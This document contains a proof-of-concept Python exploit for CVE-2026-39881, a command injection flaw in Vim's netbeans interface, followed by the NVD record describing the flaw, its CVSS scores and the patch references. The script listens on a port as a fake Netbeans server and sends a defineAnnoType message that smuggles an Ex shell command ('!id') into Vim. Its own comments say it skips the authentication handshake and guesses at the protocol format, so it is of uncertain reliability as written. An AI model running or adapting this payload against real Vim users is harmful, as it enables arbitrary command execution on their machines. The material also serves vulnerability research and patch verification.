CVE-2026-39881

# Proof of Concept for CVE-2026-39881 # This script simulates a malicious Netbeans server. # It sends a crafted 'defineAnnoType' message containing an Ex command. import socket def exploit(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 12345)) server.listen(1) print("[*] Listening for Vim connection on port 12345...") conn, addr = server.accept() print(f"[*] Connection from {addr}") # Vulnerable payload: Injecting an Ex command (e.g., :!touch /tmp/pwned) # The vulnerability allows arbitrary Ex commands via unsanitized strings. # Protocol format usually involves specific commands. # Here we simulate sending the malicious string within the message. # Note: Actual Netbeans protocol requires specific authentication handshake first (AUTH password). # Assuming default or insecure configuration for demonstration. payload = "0:defineAnnoType=1 \"Name\" \"Tooltip\" \"Glyph\" ||:!id\n" conn.send(payload.encode('utf-8')) print("[*] Payload sent.") conn.close() if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-39881", "sourceIdentifier": "[email protected]", "published": "2026-04-08T21:17:00.400", "lastModified": "2026-04-22T16:50:17.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vim is an open source, command line text editor. Prior to 9.2.0316, a command injection vulnerability in Vim's netbeans interface allows a malicious netbeans server to execute arbitrary Ex commands when Vim connects to it, via unsanitized strings in the defineAnnoType and specialKeys protocol messages. This vulnerability is fixed in 9.2.0316."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.0316", "matchCriteriaId": "A710E88E-39B9-4ACE-B88A-1B5E60BC2674"}]}]}], "references": [{"url": "https://github.com/vim/vim/commit/7ab76a86048ed492374ac6b19", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vim/vim/releases/tag/v9.2.0316", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/vim/vim/security/advisories/GHSA-mr87-rhgv-7pw6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}